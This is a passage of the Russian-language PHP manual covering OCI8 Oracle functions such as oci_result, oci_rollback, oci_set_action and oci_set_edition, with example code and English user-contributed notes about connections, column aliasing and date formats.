2. Make sure to use the name at the beginning of the tnsnames.ora file - not the SID (although ideally they should match.  However, if the name at the beginning is XXXX.world then pconnect will expect this - not the SID)
php at jaggard dot org dot uk 09-Oct-2008 09:38
[Editor's note: OCI8 1.3 should not experience the problem described in this user comment. The first use of such a connection will return an Oracle error which will trigger a cleanup in PHP.  Subsequent persistent connection calls will then succeed.  For high availability you might consider doing consecutive oci_pconnect calls in your script.]

If you connect using oci_pconnect and the connection has logged you off but is still valid, there seems to be no way to re-use that connection. The next time I try oci_pconnect and then perform an oci_execute operation, I get a "ORA-01012: not logged on" warning. This problem remains, even if I close the connection using oci_close. I ended up with the following (rather annoying) code.

<?php
    function getOracleConnection()
    {
      if (!function_exists('oci_pconnect'))
        return false;
      $toReturn = oci_pconnect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_connect'))
        return false;
      $toReturn = oci_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_new_connect'))
        return false;
      $toReturn = oci_new_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      return false;
    }
?>


Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF

  • « oci_pconnect
  • oci_result »
  • PHP Manual
  • OCI8 Функции
  • Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF

oci_register_taf_callback

(PHP 7.0 >= 7.0.21, PHP 8, PHP 7 >= 7.1.7, PHP 8, PECL OCI8 >= 2.1.7)

oci_register_taf_callback — Регистрирует пользовательскую функцию обратного вызова для Oracle Database TAF

Описание

oci_register_taf_callback(resource $connection, ?callable $callback): bool

Регистрирует пользовательскую функцию обратного вызова для соединения connection. Если соединение connection оборвалось из-за проблем с БД или сетью, будет произведено несколько запусков зарегистрированной функции в процессе восстановления. Более подробно читайте OCI8 Transparent Application Failover (TAF) Support .

Каждый новый вызов oci_register_taf_callback() будет затирать предыдущие регистрации.

Для явного удаления регистрации используйте функцию oci_unregister_taf_callback().

Регистрация функции обратного вызова НЕ сохраняется для постоянных соединений, следовательно при каждом новом постоянном соединении её необходимо перерегистрировать.

Список параметров

connection

Идентификатор соединения Oracle.

callback

Пользовательская функция для регистрации для Oracle TAF. Может быть как строкой с именем функции, так и замыканием (анонимной функцией).

Интерфейс функции следующий:

userCallbackFn(resource $connection, int $event, int $type): int

Описание параметров и примеры смотрите на странице OCI8 Transparent Application Failover (TAF) Support.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • oci_unregister_taf_callback() - Удалить регистрацию пользовательской callback-функции для Oracle Database TAF

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение поля из результата запроса

  • « oci_register_taf_callback
  • oci_rollback »
  • PHP Manual
  • OCI8 Функции
  • Возвращает значение поля из результата запроса

oci_result

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_result — Возвращает значение поля из результата запроса

Описание

oci_result(resource $statement, string|int $column): mixed

Возвращает данные поля column текущей строки, возвращаемой функцией oci_fetch().

За подробностями по операции отображения типов данных, осуществляемой модулем OCI8, обратитесь к типам данных, поддерживаемых драйвером

Список параметров

statement

column

Может быть задано номером поля (начиная с 1), либо по имени. Регистр имени поля должен быть таким же, как и у поля, описанного в метаданных Oracle, которое всегда в верхнем регистре для полей, созданных регистронезависимыми.

Возвращаемые значения

Возвращает все значения в виде строки за исключением абстрактных типов (ROWIDs, LOBs и FILEs). Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_fetch() с oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
echo oci_result($stid, 'LOCATION_ID') . " - это ";
echo oci_result($stid, 'CITY') . "<br>\n";
}

// Выведет:
// 1000 - это Roma
// 1100 - это Venice

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_fetch_array() - Возвращает следующую строку из результата запроса в виде ассоциативного или нумерованного массива
  • oci_fetch_assoc() - Возвращает следующую строку из результата запроса в виде ассоциативного массива
  • oci_fetch_object() - Возвращает следующую строку из результата запроса в виде объекта
  • oci_fetch_row() - Возвращает следующую строку из результата запроса в виде нумерованного массива
  • oci_fetch_all() - Выбирает все строки из результата запроса в двумерный массив

User Contributed Notes

luismanuelp at gmail dot com 26-Aug-2005 08:05
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
gabi at gambita dot de 01-Sep-2003 09:31
if you want to join two tables having both the same column (e.g. 'id') but you don't want to (or cannot) specify all the other fields in these two tables (like erabbott mentioned), you can use:

SELECT t1.*, t2.*, t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;

Note that this does _not_ work:

SELECT *,t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;
jthome at fcgov dot com 10-Feb-2003 02:56
FYI--

In order to modify Oracle dates (using NLS_DATE_FORMAT...), you must set $ORACLE_HOME first.  This environmental variable is best set in the server startup script (i.e., ./apachectl)

--
Jim
erabbott at NOSPAMterra dot com dot br 27-Sep-2002 07:22
As in my previous post, the same thing applies when using conversion functions in CLOB columns.

Probably the same thing will occur to any conversion function that you use.

So, this wont work

SELECT ... TO_CHAR(MY_CLOB) ...

$my_clob = OCIResult($stmt,"MY_CLOB");

But this will:

SELECT ... TO_CHAR(MY_CLOB) AS MYC ...

$my_clob = OCIResult($stmt,"MYC");

Best regards.
erabbott at NOSPAMterra dot com dot br 26-Sep-2002 03:35
Note that if you are making multiple table selects, you must specify an alias to each column.

This wont work:
----------------------------------------
$qry = "SELECT A.COL_ONE, B.COL_ONE FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "A.COL_ONE");
...
----------------------------------------

But this will:
----------------------------------------
$qry = "SELECT A.COL_ONE AS X, B.COL_ONE AS Y FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "X");
...
----------------------------------------

Regards,
steve dot hurst at instem-lss dot co dot uk 28-Mar-2002 07:35
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
dwilson at cae dot wisc dot edu 16-Apr-2001 06:05
I complained that I couldn't get the time from an Oracle date field.  Joe Brown said:

This is not a PHP bug.

Consider setting NLS_DATE_FORMAT.

The manual states OCIResult() returns everything as a string.
NLS_DATE_FORMAT may not be appropriate for your needs.

There are quite a few places you can set NLS_DATE_FORMAT.
* Environment variables (or windows registry on win32)
* orclSID.ora
* on a per session basis; execute this statement after logon:

$cursor=OCIParse($connection,
 "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
OCIExecute($cursor);
OCIFreeCursor($cursor);
shayman at quiver dot com 30-Aug-2000 09:09
As this function gets a 'mixed' variable type for the column index, you may use an integer to represent the column number. In this case, the count is starting from 1 and not from zero.
I am not sure, but I think this method is a bit faster than using the column name.
For an example, see the OCINumCols first example.
dominic dot standage at revolutionltd dot com 16-Sep-1999 05:43
OCIResult() requires the column name to be written in capitals, so OCIResult($stmt,"column") won't work, but OCIResult($stmt,"COLUMN") works fine. Hope that helps somebody out


Откатывает транзакции, ожидающие обработки

  • « oci_result
  • oci_server_version »
  • PHP Manual
  • OCI8 Функции
  • Откатывает транзакции, ожидающие обработки

oci_rollback

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_rollback — Откатывает транзакции, ожидающие обработки

Описание

oci_rollback(resource $connection): bool

Данная функция откатывает все незафиксированные изменения соединения Oracle connection и завершает транзакцию. Она также освобождает все установленные блокировки. Удаляются все Oracle SAVEPOINTS.

Транзакция начинается при первом SQL-запросе, изменяющим данные, который был запущен с помощью функции oci_execute() и флага OCI_NO_AUTO_COMMIT. Последующие изменения данных от других запросов также становятся частью данной транзакции. Изменения, сделанные в транзакции, являются временными до тех пор, пока транзакция не будет зафиксирована или будет произведён её откат. Другие пользователи базы данных не смогут увидеть изменения до их фиксации.

При вставке или обновлении данных рекомендуется использовать транзакции для сохранения целостности данных и увеличения производительности.

Список параметров

connection

Идентификатор соединения Oracle, полученный из функций oci_connect(), oci_pconnect() или oci_new_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_rollback()

<?php

// Вставка в несколько таблиц, откат изменений в случае возникновения ошибки

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// Флаг OCI_NO_AUTO_COMMIT сообщает Oracle не фиксировать запрос INSERT при его поступлении
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
oci_rollback($conn); // откат изменений из обоих таблиц
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Фиксация изменений в обоих таблицах
$r = oci_commit($conn);
if (!r) {
$e = oci_error($conn);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Пример #2 Пример использования отката до SAVEPOINT

<?php
$stid = oci_parse($conn, 'UPDATE mytab SET id = 1111');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Создаём точку сохранения
$stid = oci_parse($conn, 'SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

$stid = oci_parse($conn, 'UPDATE mytab SET id = 2222');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Явно используем SQL-запрос для отката к точке сохранения
$stid = oci_parse($conn, 'ROLLBACK TO SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

oci_commit($conn); // mytab теперь содержит id равные 1111
?>

Примечания

Замечание:

Транзакции будут автоматически откачены при закрытии соединения или окончании скрипта (в зависимости от того, что случится раньше). Для фиксации транзакции необходимо явно вызвать функцию oci_commit().

Все вызовы oci_execute(), явно или по умолчанию использующие режим OCI_COMMIT_ON_SUCCESS зафиксируют любую предыдущую незафиксированную транзакцию.

Любой DDL-запрос Oracle, такой как CREATE или DROP автоматически фиксирует любую незафиксированную транзакцию.

Смотрите также

  • oci_commit() - Подтверждает транзакцию базы данных
  • oci_execute() - Выполняет подготовленное выражение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию сервера Oracle

  • « oci_rollback
  • oci_set_action »
  • PHP Manual
  • OCI8 Функции
  • Возвращает версию сервера Oracle

oci_server_version

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_server_version — Возвращает версию сервера Oracle

Описание

oci_server_version(resource $connection): string|false

Возвращает строку с информацией о версии сервера Oracle и доступных опциях

Список параметров

connection

Возвращаемые значения

Возвращает в виде строки информацию о версии или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_server_version()

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
echo "Версия сервера: " . oci_server_version($conn);

// Выведет:
// Версия сервера: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
// With the Partitioning, OLAP, Data Mining and Real Application Testing option

oci_close($conn);

?>

Смотрите также

  • oci_client_version() - Возвращает версию клиентской библиотеки

User Contributed Notes

Anonymous 27-Aug-2019 12:25
Here's now to extract just the major.minor version number:

<?php
$link = oci_new_connect($username, $password, $server, "AL32UTF8");
$server_info = oci_server_version($link);
$version = preg_replace('~^.* (\d+\.\d+)\.\d+\.\d+\.\d+.*~s', '\1', $server_info);

echo "$server_info<br>";
// Oracle Database 11g Release 11.2.0.4.0 - 64bit Production
echo "$version<br>";
// 11.2
?>

And here's how to look up version via SQL:

https://www.oracle.com/pls/topic/lookup?ctx=db122&id=ADMIN11039

SELECT * FROM PRODUCT_COMPONENT_VERSION;

PRODUCT                                  VERSION     STATUS
---------------------------------------- ----------- -----------
NLSRTL                                   12.1.0.0.1  Production
Oracle Database 12c Enterprise Edition   12.1.0.0.1  Production
PL/SQL                                   12.1.0.0.1  Production
?>


Задаёт имя для действия

  • « oci_server_version
  • oci_set_call_timeout »
  • PHP Manual
  • OCI8 Функции
  • Задаёт имя для действия

oci_set_action

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_action — Задаёт имя для действия

Описание

oci_set_action(resource $connection, string $action): bool

Присваивает имя действию для трассировки Oracle.

Присвоенное имя регистрируется в базе данных во время очередного запроса от PHP, например, когда запускается SQL выражение.

Имя действия может быть извлечено из административных представлений (view) базы данных, таких как V$SESSION. Его можно использовать для трассировки и мониторинга, например, с помощью V$SQLAREA и DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

Значение можно устанавливать и через постоянные соединения.

Список параметров

connection

Идентификатор соединения Oracle, возвращаемый oci_connect(), oci_pconnect(), или oci_new_connect().

action

Задаваемая пользователем строка до 32 байт.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка действия

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Запись действия
oci_set_action($c, 'Friend Lookup');

// Код, осуществляющий запрос к БД, например выборка:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// Пока скрипт выполняется, администратор может наблюдать выполнение действий:

sqlplus system/welcome
SQL> select action from v$session;

Примечания

Замечание: Требование к версии Oracle

Эта функция доступна, если PHP слинкован с библиотеками Oracle Database начиная с версии 10g и выше.

Подсказка

Производительность

В старых версиях OCI8 или базы данных Oracle было возможно установить информацию о клиенте с помощью пакета DBMS_APPLICATION_INFO. Для этой цели более эффективно использование функции oci_set_client_info().

Предостережение

Совет по полному сканированию таблицы (roundtrip)

Некоторые, но не все OCI8-функции вызывают полное сканирование таблицы (roundtrip). Полное сканирование таблиц не происходит для тех запросов, в которых включено кеширование результатов в базе данных.

Смотрите также

  • oci_set_module_name() - Задаёт имя модулю
  • oci_set_client_info() - Задаёт информацию о клиенте
  • oci_set_client_identifier() - Задаёт идентификатор клиента
  • oci_set_db_operation() - Задаёт операцию базы данных

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время ожидания в миллисекундах для вызовов базы данных

  • « oci_set_action
  • oci_set_client_identifier »
  • PHP Manual
  • OCI8 Функции
  • Устанавливает время ожидания в миллисекундах для вызовов базы данных

oci_set_call_timeout

(PHP 7.2 >= 7.2.14, PHP 8, PHP 7 >= 7.3.1, PHP 8, PECL OCI8 >= 2.2.0)

oci_set_call_timeout — Устанавливает время ожидания в миллисекундах для вызовов базы данных

Описание

oci_set_call_timeout(resource $connection, int $timeout): bool

Устанавливает время ожидания, ограничивающее максимальное время кругового пути (round-trip) базы данных при использовании этого подключения.

Каждая операция OCI8 может выполнять ноль или более вызовов к клиентской библиотеки Oracle. Затем эти внутренние вызовы могут привести к нулевому или большему количеству обращений к базе данных Oracle. Если какой-либо из этих циклических обходов занимает больше миллисекунд, чем указано в time_out, операция отменяется и приложению возвращается ошибка.

Значение time_out применяется к каждому циклу в отдельности, а не к сумме всех циклов в оба конца. Время, затраченное на обработку в PHP OCI8 до или после завершения каждого циклического пути, не учитывается.

При прерывании вызова Oracle попытается очистить соединение для повторного использования. Данная операция может быть запущена для другого периода time_out. В зависимости от результатов очистки подключение может использоваться повторно.

При использовании постоянных соединений значение времени ожидания сохраняется в запросах PHP.

Функция oci_set_call_timeout() доступна, когда OCI8 использует клиентские библиотеки Oracle 18 (или более поздней версии).

Список параметров

connection

Идентификатор соединения Oracle, возвращаемый oci_connect(), oci_pconnect(), или oci_new_connect().

timeout

Максимальное время в миллисекундах, которое может занять один циклический путь (round-trip) между PHP и базой данных Oracle

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка времени ожидания

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
oci_set_call_timeout($conn, 5000);

?>

User Contributed Notes

There are no user contributed notes for this page.


Задаёт идентификатор клиента

  • « oci_set_call_timeout
  • oci_set_client_info »
  • PHP Manual
  • OCI8 Функции
  • Задаёт идентификатор клиента

oci_set_client_identifier

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_client_identifier — Задаёт идентификатор клиента

Описание

oci_set_client_identifier(resource $connection, string $client_id): bool

Устанавливает идентификатор клиента, используемый различными компонентами базы данных для идентификации различных пользователей тонких клиентов, которые авторизуются в базе данных как один пользователь.

Идентификатор клиента регистрируется в базе данных во время очередного запроса от PHP, например, когда запускается SQL выражение.

Идентификатор может быть извлечён, например с помощью SELECT SYS_CONTEXT('USERENV','CLIENT_IDENTIFIER') FROM DUAL. Административное представление базы данных, такое как V$SESSION, также содержит это значение. Его можно использовать совместно с DBMS_MONITOR.CLIENT_ID_TRACE_ENABLE для трассировки и аудита.

Значение может сохраняться между запросами страниц, которые используют одно и то же постоянное соединение.

Список параметров

connection

Идентификатор соединения Oracle, возвращаемый oci_connect(), oci_pconnect(), или oci_new_connect().

client_id

Задаваемая пользователем строка до 64 байт.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка идентификатора клиента для пользователя

<?php

// Найдём логин пользователя
session_start();
$un = my_validate_session($_SESSION['username']);
$c = oci_connect('myschema', 'welcome', 'localhost/XE');

// Сообщим его базе данных
oci_set_client_identifier($c, $un);

// Следующий запрос к БД заодно установит идентификатор
$s = oci_parse($c, 'select mydata from mytable');
oci_execute($s);

// ...

?>

Примечания

Предостережение

Совет по полному сканированию таблицы (roundtrip)

Некоторые, но не все OCI8-функции вызывают полное сканирование таблицы (roundtrip). Полное сканирование таблиц не происходит для тех запросов, в которых включено кеширование результатов в базе данных.

Смотрите также

  • oci_set_module_name() - Задаёт имя модулю
  • oci_set_action() - Задаёт имя для действия
  • oci_set_client_info() - Задаёт информацию о клиенте
  • oci_set_db_operation() - Задаёт операцию базы данных

User Contributed Notes

sixd at php dot net 18-Apr-2011 04:22
There's an article "PHP Web Auditing, Authorization and Monitoring with Oracle Database" at www.oracle.com/technetwork/articles/dsl/php-web-auditing-171451.html which is all about using oci_set_client_identifier()


Задаёт информацию о клиенте

  • « oci_set_client_identifier
  • oci_set_db_operation »
  • PHP Manual
  • OCI8 Функции
  • Задаёт информацию о клиенте

oci_set_client_info

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_client_info — Задаёт информацию о клиенте

Описание

oci_set_client_info(resource $connection, string $client_info): bool

Задет информацию о клиенте для трассировки Oracle.

Информация о клиенте регистрируется в базе данных во время очередного запроса от PHP, например, когда запускается SQL выражение.

Клиентская информация может быть извлечена из административных представлений (view) базы данных, таких как V$SESSION.

Значение можно устанавливать и через постоянные соединения.

Список параметров

connection

Идентификатор соединения Oracle, возвращаемый oci_connect(), oci_pconnect(), или oci_new_connect().

client_info

Задаваемая пользователем строка до 64 байт.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка клиентской информации

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Запись информации о клиенте
oci_set_client_info($c, 'My Application Version 2');

// Код, осуществляющий запрос к БД, например выборка:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// Пока скрипт выполняется, администратор может увидеть клиентскую
// информацию:

sqlplus system/welcome
SQL> select client_info from v$session;

Примечания

Замечание: Требование к версии Oracle

Эта функция доступна, если PHP слинкован с библиотеками Oracle Database начиная с версии 10g и выше.

Подсказка

Производительность

В старых версиях OCI8 или базы данных Oracle было возможно установить информацию о клиенте с помощью пакета DBMS_APPLICATION_INFO. Для этой цели более эффективно использование функции oci_set_client_info().

Предостережение

Совет по полному сканированию таблицы (roundtrip)

Некоторые, но не все OCI8-функции вызывают полное сканирование таблицы (roundtrip). Полное сканирование таблиц не происходит для тех запросов, в которых включено кеширование результатов в базе данных.

Смотрите также

  • oci_set_module_name() - Задаёт имя модулю
  • oci_set_action() - Задаёт имя для действия
  • oci_set_client_identifier() - Задаёт идентификатор клиента
  • oci_set_db_operation() - Задаёт операцию базы данных

User Contributed Notes

There are no user contributed notes for this page.


Задаёт операцию базы данных

  • « oci_set_client_info
  • oci_set_edition »
  • PHP Manual
  • OCI8 Функции
  • Задаёт операцию базы данных

oci_set_db_operation

(PHP 7 >= 7.2.14, PHP 8, PHP 7 >= 7.3.1, PHP 8, PECL OCI8 >= 2.2.0)

oci_set_db_operation — Задаёт операцию базы данных

Описание

oci_set_db_operation(resource $connection, string $action): bool

Устанавливает DBOP для трассировки Oracle.

Имя операции базы данных регистрируется в базе данных при следующем "циклическом пути" (round-trip) из PHP в базу данных, как правило, при выполнении выражения SQL.

Операция базы данных может впоследствии запрашиваться из представлений администрирования базы данных, таких как V$SQL_MONITOR.

Функция oci_set_db_operation() доступна, если oci8 использует клиентские библиотеки Oracle версии 12 (или новее) и базу данных Oracle 12 (или новее).

Список параметров

connection

Идентификатор соединения Oracle, возвращаемый oci_connect(), oci_pconnect(), или oci_new_connect().

action

Пользовательская строка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка DBOP

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Записать операцию
oci_set_db_operation($c, 'main query');

// Код, вызывающий циклический путь, например запрос:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// Во время выполнения скрипта администратор может видеть выполняемые операции
// с базой данных.

sqlplus system/welcome
SQL> select dbop_name from v$sql_monitor;

Примечания

Предостережение

Совет по полному сканированию таблицы (roundtrip)

Некоторые, но не все OCI8-функции вызывают полное сканирование таблицы (roundtrip). Полное сканирование таблиц не происходит для тех запросов, в которых включено кеширование результатов в базе данных.

Смотрите также

  • oci_set_action() - Задаёт имя для действия
  • oci_set_module_name() - Задаёт имя модулю
  • oci_set_client_info() - Задаёт информацию о клиенте
  • oci_set_client_identifier() - Задаёт идентификатор клиента

User Contributed Notes

There are no user contributed notes for this page.


Задаёт выпуск (edition) базы данных

  • « oci_set_db_operation
  • oci_set_module_name »
  • PHP Manual
  • OCI8 Функции
  • Задаёт выпуск (edition) базы данных

oci_set_edition

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_edition — Задаёт выпуск (edition) базы данных

Описание

oci_set_edition(string $edition): bool

Задаёт "серию" объектов для использования на нижестоящих соединениях.

Подобные "выпуски" Oracle позволяют запускать приложения, использующие одинаковые схемы и имена объектов в конкурентном режиме. Это может быть полезным при модернизации работающих систем без их отключения.

Вызывайте oci_set_edition() до вызова
oci_connect(), oci_pconnect()
или oci_new_connect().

Если заданный выпуск является недопустимым в базе данных, соединение не будет устанавливаться, даже если функция oci_set_edition() успешно выполнится.

При использовании постоянных соединений, если соединение с данным значением серии уже существует, оно будет использовано повторно. В остальных случаях будет создаваться новое соединение.

Список параметров

edition

Имя "выпуска" базы данных Oracle, ранее созданное SQL командой "CREATE EDITION".

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Два скрипта могут использовать различные версии функции myfunc() одновременно

<?php

// Файл 1

echo "Версия приложения 1\n";

oci_set_edition('ORA$BASE');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "Результат: $r\n";

?>
<?php

// Файл 2

echo "Версия приложения 2\n";

oci_set_edition('E1');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "Результат: $r\n";

?>

Примечания

Замечание: Требование к версии Oracle

Эта функция доступна, начиная с Oracle 11gR2.

Предостережение

Постоянные соединения

Во избежание несовместимости и случайных ошибок не используйте команду "ALTER SESSION SET EDITION" для изменения "серии" на постоянных соединениях.

Предостережение

DRCP объединение соединений в пул

Во избежание несовместимости и случайных ошибок при использовании серий и DRCP в Oracle 11.2.0.1 придерживайтесь однозначного соответствия между oci8.connection_class и именем "выпуска", которым пользуются приложения. Каждый сервер, входящий в состав пула с заданным классом соединений, должен использоваться только с одним "выпуском". Это ограничение устранено в версии Oracle 11.2.0.2.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт имя модулю

  • « oci_set_edition
  • oci_set_prefetch_lob »
  • PHP Manual
  • OCI8 Функции
  • Задаёт имя модулю

oci_set_module_name

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL OCI8 >= 1.4.0)

oci_set_module_name — Задаёт имя модулю

Описание

oci_set_module_name(resource $connection, string $name): bool

Задаёт имя модуля для трассировки Oracle.

Имя модуля регистрируется в базе данных во время очередного запроса от PHP, например, когда запускается SQL выражение.

Имя может быть извлечено из административных представлений (view) базы данных, таких как V$SESSION. Оно может использоваться для трассировки и мониторинга также, как V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

Значение можно устанавливать и через постоянные соединения.

Список параметров

connection

Идентификатор соединения Oracle, возвращаемый oci_connect(), oci_pconnect(), или oci_new_connect().

name

Задаваемая пользователем строка string длиной до 48 байт.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка имени модуля

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Запись модуля
oci_set_module_name($c, 'Home Page');

// Код, осуществляющий запрос к БД, например выборка:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);
?>
// Пока скрипт выполняется, администратор может увидеть, какие модули
// используются:

sqlplus system/welcome
SQL> select module from v$session;

Примечания

Замечание: Требование к версии Oracle

Эта функция доступна, если PHP слинкован с библиотеками Oracle Database начиная с версии 10g и выше.

Подсказка

Производительность

В старых версиях OCI8 или базы данных Oracle было возможно установить информацию о клиенте с помощью пакета DBMS_APPLICATION_INFO. Для этой цели более эффективно использование функции oci_set_client_info().

Предостережение

Совет по полному сканированию таблицы (roundtrip)

Некоторые, но не все OCI8-функции вызывают полное сканирование таблицы (roundtrip). Полное сканирование таблиц не происходит для тех запросов, в которых включено кеширование результатов в базе данных.

Смотрите также

  • oci_set_action() - Задаёт имя для действия
  • oci_set_client_info() - Задаёт информацию о клиенте
  • oci_set_client_identifier() - Задаёт идентификатор клиента
  • oci_set_db_operation() - Задаёт операцию базы данных

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает объём данных, предварительно выбираемых для каждого CLOB или BLOB

  • « oci_set_module_name
  • oci_set_prefetch »
  • PHP Manual
  • OCI8 Функции
  • Устанавливает объём данных, предварительно выбираемых для каждого CLOB или BLOB

oci_set_prefetch_lob

(PHP 8.2, PECL OCI8 >= 3.2)

oci_set_prefetch_lob — Устанавливает объём данных, предварительно выбираемых для каждого CLOB или BLOB

Описание

oci_set_prefetch_lob(resource $statement, int $prefetch_lob_size): bool

Устанавливает размер внутреннего буфера, используемого для выборки каждого значения CLOB или BLOB, когда реализация получает внутренний локатор LOB Oracle из базы данных после успешного вызова запроса к функции oci_execute() и для каждого последующего внутреннего запроса выборки в базу данных. Увеличение этого значения может улучшить производительность выборки меньших LOB за счёт сокращения круговых обходов между PHP и базой данных. Использование памяти изменится.

Значение влияет на большие объекты, возвращаемые как экземпляры OCILob, а также на те, которые возвращаются с использованием OCI_RETURN_LOBS.

Функция oci_set_prefetch_lob() вызывается до вызова oci_execute(). Если функция не была вызвана, используется значение oci8.prefetch_lob_size.

Значение предварительной выборки LOB следует устанавливать только в Oracle Database 12.2 или новее.

Список параметров

statement

Корректный идентификатор выражения OCI8, полученный из oci_parse() и исполненный функцией oci_execute(), или идентификатор выражения REF CURSOR.

prefetch_lob_size

Число байтов каждого LOB, которое нужно предварительно выбрать, >= 0.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Изменение значения предварительной выборки LOB для запроса

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myclob FROM mytable');
